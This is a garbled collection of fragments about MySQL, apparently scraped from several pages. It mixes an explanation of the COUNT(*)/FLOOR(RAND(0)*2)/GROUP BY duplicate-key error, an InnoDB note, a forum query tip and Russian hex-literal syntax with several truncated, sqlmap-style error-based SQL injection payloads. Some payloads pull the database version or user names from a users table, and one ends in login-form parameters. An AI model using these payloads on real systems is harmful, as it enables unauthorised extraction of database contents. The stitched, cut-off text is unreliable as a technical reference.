The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
...Cinema+AND+(SELECT+6935+FROM(SELECT+COUNT(*),CONCAT(0x717a626b71,(SELECT+(ELT(6935=6935,1))),0x716a7a6a71,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a).
...8161 FROM(SELECT COUNT(*),CONCAT(0x7171786a71,(SELECT MID((IFNULL(CAST(name AS CHAR),0x20)),1,54) FROM task1.users WHERE email
...CoNCat((SeLECT+(SELECT+CoNCat(CaST(VERSIoN()+aS+ChaR),0x7e,0x496873616E53656e63616e))+.
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.
select (select count(*) from tablea)+(select count(*) from tableb) from dual. Not saying it's better (I can't test it right now so it might not even work!)
*),CONCAT(0x717a6a7871,(SELECT (ELT(8072=8072,1))),0x717a706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY
Синтаксис: 0xHEX_ЧИСЛО (SM): SELECT CHAR(0x66) (S) SELECT 0x5045 (это не число, а строка) (M) SELECT 0x50 + 0x45 (теперь это число) (M)
information_schema.tables GROUP BY x)a) AND 'CSnZ'='CSnZ&senha=UCyy&logar=logar.